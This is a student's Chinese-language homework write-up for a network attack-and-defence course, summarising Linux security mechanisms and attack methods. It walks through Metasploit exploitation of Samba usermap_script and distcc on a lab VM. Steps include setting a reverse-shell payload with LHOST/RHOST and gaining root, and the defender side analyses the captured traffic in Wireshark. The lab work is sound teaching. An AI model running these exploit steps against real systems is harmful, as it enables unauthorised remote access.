20242934 2024-2025-2 《网络攻防实践》第七周作业

1.实践内容

实践任务
(1)使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

⑤执行渗透攻击;

⑥查看是否正确得到远程Shell,并查看获得的权限。

(2)实践作业:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

linux操作系统安全机制
Linux身份认证机制:Linux用户、linux用户组、Linux的本地登陆用户认证机制、Linux的远程登陆用户认证机制、Linux的统一身份认证中间件-PAM。
Linux授权与访问控制机制:文件所有者、文件的访问权限、文件的特殊执行权限、Linux访问机制的不足及改进。
Linux安全审计机制:连接时间日志、进程控制日志、错误日志记录。

linux系统远程攻防技术
主要方法
对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击
发掘Linux系统某个监听网络服务的安全漏洞并进行利用,从而为攻击者提供本地Shell的访问权
通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段
在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。
防范措施
禁用所有不必要的网络服务
尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署
及时更新网络服务版本
使用xinetd、防火墙为Linux网络服务添加网络访问控制机制
建立入侵检测与应急响应计划流程

linux系统本地攻防技术
Linux本地特权提升
破解出Root用户的口令,然后执行su或sudo命令进行提升
发掘并利用su或sudo程序中的漏洞
攻击用户态SUID特权提升漏洞
攻击Linux内核代码特权提升漏洞
从系统中搜索全局可写的敏感文件与目录位置并加以利用

2.实践过程

2.1使用Metasploit进行Linux远程渗透攻击
①首先确认kali和metasploitable ubuntu可以互相ping通


在kali虚拟机中使用指令msfconsole打开渗透软件metasploit

②输入指令:use exploit/multi/samba/usermap_script,查看攻击载荷并设置攻击载荷

输入指令:show payloads显示有效的攻击载荷

③输入指令set payload cmd/unix/reverse 选择攻击PAYLOAD,反向连接

④在Kali虚拟机中输入指令 set LHOST 192.168.200.2,进行攻击机IP地址设置

在Kali虚拟机中输入指令 set RHOST 192.168.200.6 进行靶机IP地址设置:

使用命令show options查看payload状态

⑤在上述设置完成后,输入指令:exploit 进行攻击:

⑥输入shell命令

通过 whoami 查询,发现我们已经获得了root权限,这表明提权成功。

2.2攻防对抗实践

主机 IP地址
攻击方 192.168.200.2
防守方 192.168.200.6

在Kali Linux攻击机中打开msfconsole

运行命令search distcc,搜索可用漏洞。

输入use 0,选择这个漏洞

输入指令 set RHOST 192.168.200.6 进行靶机IP地址设置:

打开Wireshark,开始抓包监听。
在攻击机上输入exploit,开始攻击。

攻击成功,输入whoami看看自己是谁,发现是daemon。

使用Wireshark进行抓包分析,可以得到攻击者的IP地址为192.168.200.2,目标IP为192.168.200.6,目标端口为3632

可以查看到TCP建立连接时间为2025 23:03:20

使用命令nmap -sV 192.168.200.6 -p3632 查看攻击方式

看一下distcc包,可以看到明文shell,这个应该就是shellcode了。

在后面找一段连续的tcp包跟踪,发现了我输入过的所有命令

3.学习中遇到的问题及解决

  • 问题1:在Metasploit Framework (MSF) 中尝试利用 DistCC 服务远程命令执行漏洞(CVE-2004-2687),但最终未能成功建立会话。
  • 问题1解决方案:更换Payload 尝试使用不依赖 /dev/tcp 的Payload

4.实践总结

本次实验过程与上一次类似,所以没有遇到太多困难。通过本实验可以充分看出Linux系统中某些严重的漏洞的危险性,我们应该认识到及早发现、尽早修复漏洞的重要性。

posted @ 2025-04-10 11:41  何毅帆  阅读(75)  评论(0)    收藏  举报